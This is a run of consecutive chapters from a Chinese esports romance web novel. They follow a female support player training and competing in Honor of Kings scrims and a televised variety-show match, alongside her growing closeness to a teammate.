但CY的淘汰赛并不存在这一制度,因为所用英雄一样再加上KPL上以偷塔获胜的对局不占少数,所以,哪怕是两个刘禅都不打架只拆塔也无关紧要。 三分钟的时间,已经有小组决出了胜负。 而宣依这边才进入如火如荼的开场,双方都没掉人头就连经济都是你增我往的齐平。 但他们交过战,陈宇从训练室内短暂的几分钟指挥判断出宣依谨慎的性子,打法也偏向了保守。 打破这一平衡的是一个结束了对局的副队队员凑过来:“宇哥,这你都不敢上啊?这么low?” 话落,宣依看见陈宇的二技能直往脸上奔,一个闪现突到宣依身后,而又接了一个大招。 宣依在这瞬间里移动方向,按下二技能预判着陈宇的落脚点也按下大招。 陈宇大招落空反被宣依擒下,屏幕里澜快速闪动着,陈宇也接上普攻和一技能欲要反抗,可已然晚了。 郑晨也靠了过来,手搭在刚才催促陈宇的那人肩上:“闭嘴吧你。” 宣依察觉到身边一个个落下的身影,扫了眼时间,随着兵线进塔点了防御塔一半的血。 “速战速决吧,别猥琐了。”陈宇复活倒计时落下,往外拉。 宣依将河蟹留给了陈宇拉经济,留了后排的两个小兵未清,拉着二技能对准刚清完河蟹的陈宇一个突脸。 她的手速跟上了操作,在职业选手面前并未落下风,最后陈宇残血要离开战场时,宣依潇洒地落下一个终结。 全局第一个终结,也是最后一个。 她清完剩下两个兵线,站在塔前看着小兵一点点迈入敌方防御塔,又一点点将防御塔的血消耗掉。 “输了,我认了。”陈宇丢下手机站起身,撂下这一句话后转身往外走。 如果宣依将那两个小兵清掉,陈宇甚至还需要将兵线补了才能与之无干扰地PK一把,她是为了节约时间才这样做的。 在单挑里,她甚至有时间做出这样的决策。 等到所有组对局结束时,陈宇才重新回来进行第二轮抽签,宣依从英雄资料里抽身站起,向他走去:“我说了,这样的对局淘汰很草率,也很不公平,你前期的打法在迁就我,要不然也不至于掉两个人头就输了。” “输了就是输了,我的战术失败是我的问题。”陈宇打开纸条,和魏晟又去了一旁进行新对局。 “你想什么呢?”齐呈枫看着宣依出神的模样,问道。 宣依看着齐呈枫的面庞,像是在将他先与栖枫重合, 17. 这是第十七章 《这个辅助有点野》全本免费阅读 南城AQ来的时候,网咖内已经恢复了一片祥和。 从某种意义上来说,这是宣依从休闲过渡到职业的第一场比赛。 在一支职业队伍里与另一支职业队伍比赛。 “好久不见。”南城AQ的领队偏头看向站在一旁降低着存在感的齐呈枫。 他的脸上始终挂着不咸不淡的笑意,视线并未落在宣依身上,只是扫视了一圈网咖,然后又向齐呈枫投去目光:“但也没什么必要礼尚往来了,我们明天还有比赛,你们谁先上?” 凌一鸣往前迈了一步,迫使对方的目光从齐呈枫身上撤回。 “行,那就你们先咯。”他满不在意地挥挥手。 一群人往训练室里走去。 “宣依,想好怎么打了嘛?”齐呈枫走在宣依身侧。 被她一个个否定昵称后,齐呈枫就规规矩矩地连名带姓唤她了。 宣依看着前方一群人的背影思考了一会儿,开口:“我没看过他们比赛,厉害吗?” 齐呈枫也沉默了一会儿,可是走在队尾,他小声说一句不强也没事,可他对这个答案格外谨慎。 宣依莫名想到当时AQ领队进来时目光巡视后只落在齐呈枫身上的模样,他说的“好久不见”是对着齐呈枫一人的。 “很难评断?”这短暂的路程不容他们交流过多,宣依打断了齐呈枫思索的内容,“那就当中等水平。” “他们之前挺强的,至于后来……也算是第一梯队的热门战队了。”齐呈枫道。 宣依若有所思地点头:“原来你是不想承认他们强。” 她的陈述语气时常让人不知道该如何反驳。 齐呈枫叹了口气:“不信谣不传谣,这可是你说的。” 训练室里有打比赛专用的手机设备,宣依这是第一次如此正式地坐在椅子上打游戏。 “依姐,你要先上来吗?” 自宣依一次次强调自己的年龄后,整个队伍分成了三个阵营,减少称呼的,叫妹的,叫姐的。 宣依也不曾想,这个文质彬彬总挂着笑,但其实也有着暴脾气的魏晟会比自己小半岁。 “OK。”宣依在英雄池里扫了一眼,选了鲁班大师。 如果有什么机会能快速上手新英雄,排位是首选。但现在有一场更优于排位的对局,而宣依也并不是一个为了稳妥退而求其次的人。 她既然选择了帮抢上一楼,就不怕对面拿出克制英雄。越是如此,越能让她成长。 对面也跟着优先上了辅助和打野,刘禅和云缨。 训练室的位置排列与正式比赛相同,辅助与射手的位置是挨在一起的,宣依身子微微往齐呈枫的方向靠去,用着正常的音量唤了声“齐呈枫”。 耳机里的声音几乎将外界隔绝,齐呈枫是感受到了耳蜗边的气息才侧目看向了近在身侧的宣依,木楞了一瞬才抬手拨开了这侧的耳机:“嗯?” “选伽罗,带狂暴。” 齐呈枫扣下耳机比了个OK便收回了目光。 选伽罗一方面先断了对面射手的想法,另一方面鲁班大师可以为伽罗提供良好的输出环境,宣依接受对面选出伽罗来克制自己的开团控,可对面没有在第一时间做这样的选择,便让主动权回到了他们手中。 “宣依,你先跟我清第一波野。”耳机里传来凌一鸣的声音。 宣依还未适应这样的声音传播,不适地抬手扶了下耳机:“那中路线呢?” “不是,依妹,连你也觊觎我的中线啊?”比赛还未开始,程舟听出了宣依语调的认真谨慎,开着玩笑缓和宣依的紧张,“我拿炸弹,不需要你帮忙抢线。” 这简称是配合着程舟选定的英雄头像才得知是沈梦溪的。 “那你前期小心点。”宣依的声音通过耳麦传入手机中。 慵懒语调被吞噬后通过耳机传入耳时变得温软,受到耳机的影响这几个字拖得很长,尾音还在耳蜗缠绕,像是临出门时担忧自己凑在怀里撒娇的女朋友。 宣依皱了下眉,连她这儿都有回响。 “咳咳,”齐呈枫欲盖弥彰地轻咳了两声,“宣依,调下耳麦。” “昂?”宣依搁下手机,抬手扶了扶耳机,右侧耳机上似有什么按钮的凸起,但宣依碰了几下也没感觉变化,便转动椅子朝向齐呈枫低头。 宣依主动靠近弓着腰,将头埋到了齐呈枫面前:“我不太会调,你帮我弄一下。” 唤回齐呈枫思绪的是屏幕里轰然开始的英雄调整倒计时,齐呈枫缓神抬手略过宣依的发丝,手指停留在耳机旁的触屏按键上。 转椅还在微微晃动,齐呈枫一只手扶着靠椅的握把稳定位置,一手与宣依的脸颊擦过,调试着耳机。 “吹口气。”齐呈枫松开手。 耳机里传来微弱的呼气声以及手机屏幕里英雄降生于泉水的声音,齐呈枫松手,脚点地转正椅子:“好了。” 宣依抬头摆正座位拿起手机,看了眼阵容后对着耳麦呼了口气:“凌一鸣,蓝开帮下路吧。” 身旁齐呈枫的气息呼出,却没说话。 凌一鸣拉着摇杆往蓝区移动:“好。” 宣依简单了解过鲁班大师的技能,操作得还算上手,将凌一鸣的清野速度大大提升。 宣依拉着凌一鸣到红buff时,将屏幕拉向下路的视野,看着红buff最后一点血,宣依便向凌一鸣放了条链子,往下路移动。 红buff打掉,凌一鸣随着“牵引”与宣依快速抵达下路河道草丛。 宣依看着二技能的冷却:“okok,我先上。” 一技能往敌方射手身上跳的最后一刻,宣依确认了一下二技能的范围,落控的那刻,齐呈枫的长弓也一箭箭射在了对面身上。 宣依的二技能落在凌一鸣身上,随着“牵引”,三个人对下路人头的收割简直轻松。 宣依:“那我跟下咯。” “OK。”凌一鸣的身影往河道去了。 在宣依的辅助下,凌一鸣比对面优先清完野区,再加上下路的人头,CY拥有了一波小优势。 接下来,宣依专心充当起了辅助的角色,她还是习惯了用标点的方式提醒中上路,每次点标完了才后知后觉补充一句“打野上去了”。 节奏被凌一鸣压得很稳,开了第一波的暴君也让他们的经济有了优势。 主宰坑的第一波团战,宣依稍稍来迟,将二技能落在齐呈枫身上,将他以残血状态拉出乱战。 宣依拉着操作杆以一技能入场,齐呈枫便拉着长弓站在一旁输出。 四个人被宣依大招拉住往齐呈枫范围里一带,齐呈枫的弓箭一下下落在对面身上,红色的暴击值在团战中滋滋爆出。 “Anenemyhasbeenslain!” “Doublekill!” 伽罗拉着长弓的身影站在不远处配合着鲁 18. 这是第十八章 《这个辅助有点野》全本免费阅读 趁着复活倒计时,宣依便将星泉的简介给看了一遍。 默念到最后一个字时,宣依才恍惚明白,自己的空白期与他们拉开的不止是“新英雄、新地图、版本更改、英雄调整”的差距,甚至连新装备以及旧装备的削弱增强她都落后于这些人。 复活倒计时结束,宣依再次拉动摇杆往下路走,清掉了积攒的两波兵线,齐呈枫的复活倒计时也结束与宣依汇合。 宣依愈发熟练地成为了齐呈枫赶路的工具,落下牵引带着齐呈枫越过墙体快速抵达了中路。 碰巧撞上程舟清兵线与对面中单撞上。 宣依优先扫了眼小地图,对面露出的视野只有中单和上单,剩下几人不知所踪。但下路堆了两波都无人清的兵线可以得知下路是没人的。 有人在蹲! 这个结论得到的时候,齐呈枫已经被韩信挑起,0.8秒的控制便让整个局面落于下风。 宣依有些后悔将二技能用来赶路了,这一刻用一技能又或是大招都已经于事无补了,程舟和齐呈枫都陷与了乱战中间。 犹豫半秒,宣依还是拉着一技能快速将极影换成救赎参与了团战。 落下的站位过于集中,以至于买装页面刚关闭,就看见对面中单的控制落下,他们三人都被避无可避地控住,对面射手从中路防御塔边的草丛出来往前走两步后开始输出。 魏晟从河道赶来拖着大招以打乱对面节奏。 凌一鸣也从高地直接赶来。 看似五对三的优势,但对面中单控接大再加上射手的输出,宣依三人的状态已经很糟糕了。 宣依只能在最后一点血量前,与齐呈枫反方向走,临走前对齐呈枫用了个救赎,快速落下大招,倒下的最后一刻给齐呈枫留下了一个输出环境。 屏幕灰掉。 她却依然紧握着手机,耳机里一波接一波的技能音效喧嚣,她的目光锁定在齐呈枫他们的血条上。 程舟拉开了距离,将技能丢下,最后是被赶来支援的孙策撞没的。 他抗掉了孙策的大招,齐呈枫也多了几秒输出的机会,凌一鸣也拉着摇杆陷入人群。 魏晟将一波伤害抗下,三下平a还带走了中单,眼见血条即将落空,他丢下一个一技能后便撤回了防御塔下吃了个血包回状态。 齐呈枫一边血条再被消耗,一边短弓利用吸血刀在回血,但两者是不对等的,他在最后拿下两个人头后也倒了。 不对劲……韩信他换了个复活甲! 凌一鸣没反应过来,已经向射手的方向使用了位移贴脸,不出意料地被复活的韩信挑起。 魏晟补了小半状态时只剩下了他一人。 “一塔舍了。”凌一鸣道。 由于刚才的团战,程舟甚至没来得及清掉中路的兵线,此时兵线又被敌方护在身后,魏晟已经没机会清线了。 加上复活赶来的刘禅,中路一塔掉的速度太快。 似乎一瞬,双方进度便拉扯回了平衡点。 不, 宣依跟随着对面脚步滑动屏幕,他们并没停留继续往前压,魏晟也被一步步逼到了高地与二塔之间,他们是准备连着二塔一起拆了。 “守?”魏晟的手指悬在二技能上,只待凌一鸣的一声是与否。 宣依的复活倒计时还有33秒,对面有刘禅,四个人硬塔杀一个非满状态的战士,其实是没什么悬念的。 宣依叹了口气——“舍。” “舍。”四个声音几乎异口同声。 魏晟又退,站在高地看着二塔在旋转的刘禅以及一堆平a里坍塌。 韩信的视野往野区去了。 他去打主宰了。 但剩下三人便停留在了高地前。 他们要在这儿拦截CY对韩信打龙的干扰。 这一局面形成的一刻,宣依有些烦躁,她默默认可了齐呈枫所说的话,他们是有组织有计策的队伍。 但不完全,更多的是对自己的否认……如果那一波没有在关键时刻掉链子,那么便不会将一波优势吞回去。 她产生了质疑,对自己。 倒计时一秒又一秒接着,而她的思绪却被越拉越远。 “宣依。”齐呈枫的声音从耳机里传来。 近到像是抱住了她,靠在耳畔的呼唤。 宣依才回过神,拇指拉动摇杆往上路防御塔走,出了高地的一刻将二技能给了魏晟:“点。” 魏晟犹豫了两秒。 受着刚才断掉链子的教训,宣依见魏晟未跟上,便拉动摇杆让岌岌可危的链子重新回到了技能范围内:“点啊!” 魏晟按下牵引,随着宣依往上路的步调跟了上去。 赶到龙坑,最后一丝血,宣依看着亮起的闪现,脑海匆匆闪过一个可能性。 宣依最后拉了下龙坑视野,确定好角度后一技能接闪现落下。 “Yourteamhasreclaimedthecrucialkill.” “依姐6啊!”程舟直呼。 宣依勾起唇角,这就够了。 任宙说,想要赢就要破坏对面预设好的节奏。 这节奏被她破坏了。 即便自己即将在刚复活没多久的时间里再次倒下,但也够了。 可魏晟冲了过来,替宣依扛了一次伤害:“牵引给我。” 宣依往后拉摇杆,拉开一段距离后将链子丢给了魏晟。 看着魏晟被甩过来,宣依便继续移动。 无损抢龙! 小地图上,高地几个身影往后退去。 他们的节奏真的乱了。 “可以可以,猥琐点再拉一波优势,”凌一鸣鼓励道,“宣依,待会可以看位置开波团。” …… 这波视野落在副队眼中。 因为任宙的存在,他们其实收敛了许多对宣依的偏见,至少他们觉得哪怕女生里有那么一两个拔尖的,代入职业赛场里也是会被淹没的。 好像游戏这种天赋,天生就是男性大于女性。 但倘若是他们,在将上单压到高地的这一刻,节奏大概就会被南城AQ带走了。 虽然任宙总告诉他们不要陷于对方的节奏,可倘若这场对局换作是其他辅助,也极少有机会能从三个人手里逃脱去抢龙吧。 好像也不然,宣依从泉水出来时就已经坚定了自己的方向,她始终按着自己的节奏在打,哪怕不是鲁班大师,她依然会冲出高地抢龙。 “宇哥,她好像会比我们先上KPL。” “挺好的,朝阳也总不能贴钱给我们打比赛吧。” “可是我打了两年都没上去过。” 陈宇冷淡地侧头看向对方:“我打了四年。” “嘿嘿。”尴尬一笑。 陈宇也不逢时,两年前他其实就可以上比赛了,但被转辅的郑晨给拦截了, 19. 这是第十九章 《这个辅助有点野》全本免费阅读 养成一个习惯需要多久? 秦珠高中三年都没能习惯七点的闹钟,但宣依仅仅用一天就习惯了CY的训练方式。 因为差了一个人的原因,偶尔任宙会在外面找个人来代替,偶尔是由宣依两边跑地陪训。对于有着漫长空窗期的宣依,对局在多不在精,她需要的是大量实训来熟悉当前版本,而不是有效益的战术。 所以她很沉浸于这样充实的训练安排,甚至将空余时间一并填满,一连下来的七天,宣依与CY之间渐渐也打出了配合,但总有地方很不对。 宣依在空闲时间看了几把CY之前的比赛,她几局看下来却也没弄懂到底哪个地方不对劲。 又是如此平常的一天,宣依伸了个懒腰从训练室回到了前台,遥遥便看见秦珠没骨头似地塌陷在了转椅上。 随着宣依脚步的靠近,秦珠才缓缓端正了身子:“依依,你们总算训练完了,我好无聊!” “你不说,这样的工作很轻松。”宣依拉过一旁的转椅坐下,往前缩到了台前,又拿出了她整理的游戏内容。 “依依,”秦珠便也跟着凑过来,手撑着脸欣赏着宣依埋头认真的模样,“你到时候打比赛我可以去看吗?” “不太行。” “啊?为什么啊?” 宣依皱着眉头,将营地里今天的几把数据划过,摆摆头:“我不是说这个,我是说打得不太行。” 秦珠的视线这才从宣依的侧脸往下滑,距离拉得更近。 今天一共打了5把,赢了4把。但一竖列的优异战绩让秦珠不知如何开口,犹豫片刻,她指向第二行的大乔:“你辅助都MVP,还不太行!?” “凡尔赛了啊,依依。” 宣依还是摆头,凝重的神色分毫未落:“我感觉很奇怪。” 屏幕随着宣依轻轻落下的拇指跳转至数据总览:“我的输出占比都21.4%了,就比魏晟低了一点,而且在这种对局里,我的参团率是100%……” “这不挺好的嘛?百分百的参团率诶。”秦珠撑着头,笑嘻嘻的。 “自然是好的,但是这也是问题的关键。”声音从身旁落下。 秦珠扭头去看又收回视线,她对郑晨的敌意是来源于初见时宣依与他的矛盾,这些日子谁也没提,他们也很默契地保持着距离,郑晨的突然靠近就像是打破了一种平衡,突兀且异常。 他的右手还包着纱布,左手上那个微小的水泡已经焉了下去,留下一块泛黄的小凹陷,此时正抬着那只左手触碰屏幕,将页面返回到战绩,又点进另一场详情:“你有没有发现,一周下来所有对局里你的参团率都高达了90%。” “那说明我家依依牛逼!”秦珠站起身,隔着宣依看向郑晨,“怎么,不服?” “是这样,但我查了对局没看出哪儿不对啊。”宣依仰头看向郑晨,淡淡回应。 无论郑晨被多少人否认了,可他确实有实力成为CY的一员,在强烈的竞争里他也未被挤下去。宣依没有理由拒绝一份是友非敌的分析。 “那是你将视野聚焦在了整场对局的走向,”郑晨从一旁拉过塑胶凳坐下,“我看了你们下午打的几把,你的节奏很好,所有人的节奏都在跟着你走。” 郑晨一语道破了宣依的疑惑。 她在这个团队充当的是辅助,是游走。她应该开团保c,而不是带着c位去冲锋陷阵。 因为她的节奏鲁莽,整个团队偏向于她的节奏一同鲁莽,虽然几局下来并无大的嫌隙,可倘若对手不像副队这样接团,那落入下风的将会是宣依以及跟在她身后的齐呈枫。 “新人势头猛点挺好,但不要太自傲,站的越高摔得越惨。” 宣依沉思片刻,虽受了郑晨的恩语气却并未软下了,直勾勾看着郑晨:“我知道了,但我希望你能看清我并不是个自傲的人。” 她抬眸时的瞳孔里映射着白炽灯光,像是布满群星,清澈漂亮。 郑晨欲言又止。 “还有,谢谢你。”宣依又道。 语气仍然平淡,像是走流程但清晰的每一个字又好像带着真心。 郑晨摇头又点头:“CY的胜利也是我的心愿,我认可你,所以希望你也能和CY拿下很多场比赛的胜利。” - 拍摄宣传照导致的训练安排更改在其他几人那儿是一场天大的解放,但对于宣依而已,无差。 她依旧七点便洗漱完,坐在沙发上将最新一次的峡谷更改简单记下。 这是册子的最后一页,她用一周里所有零碎时间补足了这一年多的空窗期。 事情做完,甚至还比平时早了十来分钟,宣依换了鞋出门,楼道还是一片寂静,来之不易的休息所有人都在呼呼大睡。 虽然已经小半个月了,可宣依对这一带依旧不熟悉,她重复着自己在这条街的两点一线,进了朝阳网咖,零星坐着三两老顾客,而秦珠正靠在前台的小枕头上睡觉。 宣依轻声唤她,她就模糊地咿呀了两声然后又安静下来。 在这片安静中,训练室开门的动静便格外清晰。 宣依看去,见到蓬头垢面的齐呈枫从里出来。 “你怎么在这儿?” 场景有些熟悉,二人隔着一段距离,类似的话自然脱口,又陷入同样的静寂。 齐呈枫迈步靠近。 宣依还单手搭在前台上。 招财猫的手晃动着,与齐呈枫的步伐一致,向前,向前,向前。 宣依的目光就随着齐呈枫停在一旁的冰柜前。 他从冰柜里拿出一盒牛奶,拆掉吸管插入,折步进了前台拿起扫描枪,付了钱。 此时他们隔着一个前台的距离对视。 “早,”齐呈枫耸了耸肩,“昨晚研究赛制太晚了,就呆这儿了。” 宣依忽而想起暴雨那天,其实也不止那天。齐呈枫总是隔三差五在这儿留宿,那他每晚在这儿也会和秦珠聊天吗? 秦珠不似宣依这般话题终结者,有一句她可以聊十句,所以他们之间的走向理应是相谈盛欢的。 思绪越飘越远,宣依才发觉 20. 这是第二十章 《这个辅助有点野》全本免费阅读 九点过,一行人才散漫地来网咖汇合。 郑晨的手已经拆掉了纱布,跟在末尾踏入宣依的视野。他虽沉声,可落在身侧的手却好似在提醒宣依:她只是暂代这个位置。 几个男生汇在一起总归是热闹的,原本沉寂的网咖一瞬簇拥上喧嚣的谈笑。 程舟走到了宣依身前:“来这么早?任姐来过吗?” 齐呈枫从一旁凑过来:“没有。” 宣依就在一旁象征性地点了下头。 “明天就要和其他战队打比赛了诶,心情怎么样?”程舟坐在了沙发的扶手上,侧着身子弯腰看着宣依。 宣依听到“打比赛”几个字出神地看向郑晨,那只拆了纱布的手此刻正搭在副队一人的肩上,说笑着什么。 程舟就凑到宣依眼前,顺着她的方向看去,一眼也明白了宣依的顾虑:“你不要……” “宙姐那边已经交了综艺的名单,综艺的录制是你上场,”齐呈枫靠在沙发上玩着一款无聊的小游戏,“后续KPL的对局能不能上,其实不在于郑晨,而是你。” 宣依顺着声音扭头看向齐呈枫。 齐呈枫也放下了手机,继续道:“明天录制,宙姐会看的。” 他的话点到为止。 宣依也了然地点头。 “依妹,你肯定没问题的。”程舟出声鼓励。 宣依叹了口气:“我叫宣依,别总是义妹义妹的叫。” “我叫的是依妹。”程舟为了着重他的声调,将依字拖得很长。 宣依是朝向程舟的,齐呈枫便也只能看见程舟在这么幼稚的话题里依旧笑容洋溢。 “时间也差不多了,拍摄地离家挺近的,待会拍完要不要回去一趟?”齐呈枫站起身俯视宣依。 这个角度的她,很小一只,似乎对程舟的话无可奈何,表情有些木楞。 “啊?”程舟抬眼看齐呈枫,错愕了好一会儿,“等等啊,等等。” “呈枫,你咋知道宣依住哪儿的?” “我俩邻居。” “我住他家。” 两个声音同时回答。 “啊?”疑惑声又一次拔高。 宣依靠在沙发上的姿态微微松懒,仰头看向齐呈枫又偏头等着他对这声疑惑做出回应。 齐呈枫在两束目光下做了良久的心理准备才开口:“她住我家。”伴随着这句话的还有泛红的耳尖,被捏在掌心显出凹陷的袖口 “啊!?”程舟愈加迷惑,“你俩,你俩什么关系啊?” 宣依沉声没回答,齐呈枫见状也没开口。 “车到了,走吧。”凌一鸣的声音打断了此刻沙发边的沉寂。 但程舟一直到上了大巴也没放过这个问题,看见齐呈枫在车窗边落座就准备坐他旁边,却又被宣依站在一旁淡淡的目光给打断,重新选择了他们前面的位置。 “嗯?难得坐我旁边啊。”齐呈枫小声感叹。 窗外的风凌乱了他的头发,又是那般淡泊一切却又隐隐透着惹人怜惜的模样。人们总说,相由心生,可齐呈枫是在经济基础与爱里浇灌成长的,他不应该高傲不可一世吗? “我想听听,你要怎么扯谎。” 程舟调整好座位,便从椅背间的缝隙探过头来:“呈枫你倒是说啊!” 见齐呈枫迟迟不开口,程舟在狭窄的缝隙里又偏头将视线落在宣依身上:“依妹,你谈过恋爱吗?” “废话,”齐呈枫接这话的速度极快,连带着语气都有些冲,“她看起来像是会早恋的人吗?” 宣依此刻就像齐呈枫口中绝不早恋的乖乖女,双手搭在腿上,坐得有些端正,也不掺合进围绕着她的话题,默默听着。 “那你俩娃娃亲?”程舟越扯越远。 又陷入无人回复的尴尬,宣依扭头看齐呈枫。 车窗只露了一条缝,疾驰时窗外的风就凑着这条缝往车内扑,齐呈枫既没迎着风看窗外的风景也没与程舟有任何视线交流,他的黑瞳不知聚焦在何处。 “行了,别扯了。”宣依的气息有些凌乱,她还是无法淡定地告诉别人,自己的母亲在别人家做保姆,而自己也在那寄居。 程舟听完宣依的解释,撤回了夹在椅子中间的脑袋,开始消化这件事。 但宣依的身上还有目光。 “别看我了,你觉得我是这么爱面子的人吗?”宣依靠在椅背上,看着顶棚,驶过坎坷路时会牵绊着抖动,“何况,这本来就是事实。” “但说实话,确实挺难开口的,”宣依的视线始终落在顶棚上,兴许对视会让她失去坦白的勇气,“齐呈枫,你知道吗……” 宣依很少连名带姓地唤他,偶尔几次也在她波澜不惊的调子里显得平平无奇,可此时,她的声音柔顺又很细,在风里凌乱像是带了层哭腔。 可她抬起的眼眸里有坚韧,有柔情,有着饱经风霜却依旧清澈的至纯至善,唯独没有眼泪。 “我其实并不觉得那是上不了台面的工作,至少在我小时候,我觉得这份工作很好,让我有了朋友,还让我住进了漂亮的大房子,”宣依陈述时总会停顿一下,用转瞬即逝的几秒钟消化自己如潮水般奔涌的情绪,“我也不知道为什么,我总在安慰自己那是别人在羡慕嫉妒,也试图屏蔽那些声音,可是很难,真的很难。” 长长的叹气声让齐呈枫一时也不知如何开口。 “他们说我没有爸爸,说我妈是给别人提鞋的。” 齐呈枫听到这儿的时候,有些哽咽。他不敢想,宣依是如何将这些话如此平静地陈述出来的。 “我反驳过,甚至还和那个人打过架,闹到办公室去,也听过老师和一些同学的安慰……可后来这些声音越来越多,我不知道怎么反驳了,他们说的也没什么错……” 齐呈枫握住了宣依的手腕,一丝暖流顺着他们的接触面散开,直至宣依偏头看向他:“宣依,栖枫说,听那些傻逼话不如多打两把游戏。” “你不就是栖枫。” “你觉得你印象中的栖枫会被别人欺负吗?” 那个总是叛逆于别人,不随波逐流的栖枫吗?肯定不会,只有他欺负别人的份。 但他不会欺负别人。 “小的时候,我也被一群人围在一起谩骂过,有我的身份在,他们又不敢动手。” 宣依分不清他悠然自得的语气是在炫耀还是悲伤。 “那个时候的感觉,大概就是只能忍受潮水向我袭来,我不会受伤,但我也无 21. 这是第二十一章 《这个辅助有点野》全本免费阅读 宣依第一次站在摄影棚里,站在幕布前被光芒聚焦,她站在队伍的角落抬眼看向照向幕布中心的柔光灯。 “好了,下一组准备,先拍个人照,再拍团体。”摄影师的助理在灯架下组织着顺序。 宣依排在主队的队尾,副队的首位,夹在两支队伍之间,就像现在模糊的定位一样。她已经跟随着主队打了许多场训练赛了,但却没有一个人正式宣布她是首发队队员。 她随着闪光灯照亮房间的一瞬,挪动着自己的步伐,向幕布中心靠近。直到身前已没有身影,她看向前方拍完照退下的郑晨,抬脚。 摄影助理却抬起了手:“诶,小姐姐你是不是走错房间了,私人形象照是在隔壁影棚。” “她是我们队的辅核。” 郑晨发觉到身后的脚步没有跟上,转过身开口。 已经拍完照组织离开的另一支战队闻言看了过来:“哟呵,新词啊,辅核哈哈哈。” 房间里被笑声冲荡。 宣依皱着眉头看向那人,视角被设备遮挡,她只能看见那件灰黑色的衣服左上角映着熟悉的logo,BTG。 “怎么,你们的辅助连节奏都打不出来?”魏晟向前。 他个子高,站在灯架下陷入灰暗,却很有压迫感,加之身旁还有个不说话气场却很强的凌一鸣助阵。 领队的带着那群人出了影棚,摄影助理则抱歉地看着宣依笑,宣依摇摇头走向幕布中心。 “小姑娘挺好看,”摄影师夸奖的话由衷,大抵在一群男人里换个女生拍摄,眼睛也忽而明亮了,“头往右边倒一点点。” 结束。 宣依走到另一侧,驻在郑晨身旁,犹豫着开口:“谢谢。” 郑晨没有扭头看她,依旧看着幕布前流动的人,轻声开口:“其实我说的也没错,你身为一个辅助可以打出有优势的节奏,本来就很厉害……轮不到别人去否认。” “还有……” 看着他欲言又止,宣依疑惑地“嗯?”了声。 “没事。” 宣依也没有刨根问底的习惯,将她的道谢送到后也没有继续这个话题的想法。 “好,然后还有张团体照,两支队伍分开照后期好p一点,”摄影师扶着相机看了看刚才的照片,抬眸扫了眼还站在一侧的人,“你们自己站位啊。” 说完他放下相机:“队伍核心站中间,妹妹站过来。” 摄影师不专业,只是听到他们说宣依是辅核,便也如此默认了。 宣依无助地回头看向他们,可竟无一人出声。 “我不是核心。”无奈只能自己否认。 “啊?”摄影师一时没接上话。 摄影助理便笑嘻嘻开口:“没事,长得好看站c位也不错。” “那这样,你们俩站c位呗。”摄影师看向宣依的方向。 他视线里的另一个人…… 宣依回过头,转上那件橙黄色的夹克以及熟悉的CY队徽,仰头,齐呈枫棱角分明的脸闯入视线。 “诶,摄影大哥,你这样点名道姓是不是有点伤人了啊,”程舟不服地向前迈步,“我不帅嘛!?” 摄影棚一瞬变得热闹。 宣依在热闹里撤回自己的视线。大巴停下的那个颠簸她看见自己靠在了齐呈枫怀里,然后尴尬地低头走了一路,这一瞬的对视让那段记忆又扑向脑海。 他的眼睛深邃,被模糊在淡漠之下的还有一层柔情,鼻梁高,脸上的每一条轮廓线都干脆利落,绝对是女娲的得意作品。 “很明显,你没我帅。”齐呈枫抬手拍拍程舟的肩,脚步挪到了宣依身侧。 站位安排在稀里糊涂的玩笑里确认下来。不带偏见,不遵守套路的双c位诞生了。 摄影师转动着焦距,调整着视野,轻击快门聚焦后镜头里的影像随之变得清晰:“你们俩有点不上镜啊。” 两张“不上镜”的面孔隔天被张罗在了会场外。 受着王者的赞助,这档综艺慕名而来的战队很多,无论是拿过冠军上过KPL的热门战队还是名不见经传刚成立的小战队都出现在了会场外的宣传海报上。 每个战队都有一个独立的海报广告牌,秦珠不知从哪儿得了张门票,兴奋地走在最前面,扫过一张张海报又看见不远处几个人团团围着一张海报,她就好奇地加快步伐凑过去。 总算在缝隙里插入视线,然后猛地扭头看向队伍边缘的宣依:“哇!依依,原来你拍照是这个样子。” 她的嗓门,让一众人都看向了她,又顺着她的视线看向了宣依。 那群人里有几个穿着BTG的队服,宣依在熟悉不过,但很快她便收回了视线继续往会场入口走。 秦珠也迈步跟上,她就想看看宣依的照片,目的达成后她又回归了宣依身旁,挽着她的手:“依依,你看见了吗,刚才好多人都在围观你们照片。” 宣依点头:“待会的对手也在里面。” “啊?” “那个灰黑色衣服的战队。” “奥,好像有点眼熟,”秦珠点点头忽而扭头看向宣依,“好像是那天他们说的那个第二名!” 宣依在秦珠的惊呼里平淡地点头:“嗯,我们待会和他们打。” “这么小的概率都被你们抽中了!?”秦珠感叹。 “其实也挺好的,”宣依跟随着队伍往休息室走,在即将和秦珠分开前,讲完了自己的最后一句,“用现实封口更快。” 这句话什么意思是在开始录制后秦珠才明白。 CY与BTG的对局在第一场,但台下的观众对一场已经没有悬念的比赛并不期待。 话筒递给BTG队员,他们轮流介绍完自己的名字就往后传,直到他们的最后一个队员握住了麦克风介绍完自己名字,又探身看向CY这边:“虽然是个娱乐综艺,但你们确定要让她上?” 导播很了然地将镜头切向了宣依。 这个声音仅出现一次便让宣依记住了,还真难得,清纯稚嫩的脸庞勾着不屑的笑意,出现在了头顶的大荧幕上,场内传来此起彼伏的讨论声。 大多人都没注意到外面的海报,在镜头投向宣依的第一刻还以为是个漂亮的观众,但也很快被否定了,毕竟宣依站在台上受着聚光灯的照射。 主持人生怕这样的气氛焉了,绕路插入镜头将话筒递给宣依:“请问对于现在的质疑,你有什么想说的呢?” 宣依并不在意节目组有怎样炒热度的用意,她淡然地接过话筒,在上百双眼睛的注视下轻描淡写开口:“BTG,我们会让你成为CY重出江湖的第一个手下败将。” “唔!” 场内气氛瞬间点燃。 那个时候,宣依是替郑晨上场,以至于全网没有一个人知道这个在综艺舞台上对一支冠军战队放狠话的新人是谁。 主持人接回话筒又递给她身旁的齐呈枫:“你有什么想补充的嘛?” “既然我们的小辅助都放狠话了,”齐呈枫笑着看向宣依,又精准找到了镜头,“那我自然替她将这句话变成现实咯。” 宣依身为台上人自然感受不到,在大荧幕里,齐呈枫视线切换后就连眼睛里的温柔宠溺也一瞬消散,这眼神变化令台下观众有些措手不及。 入座,宣依自然地握着耳机准备戴上,齐呈枫在此时握住了宣依的手,向观众席的一个位置抬了下下巴。 他所示意的方向是任宙的座位。 “加油。”齐呈枫说。 宣依点头扣上耳机。 比赛开始,由BTG先手选英雄。 魏晟:“依姐,还是你先上吗?” “这次我压个位。”宣依回答。 看对面帮抢了钟馗后,魏晟便选了花木兰。 直到最后还剩下凌一鸣和宣依两人未选择英雄。方框跳转至他们时,屏幕同时出现了两个打野英雄。 娜可露露和阿轲。 “昂?”凌一鸣疑惑。 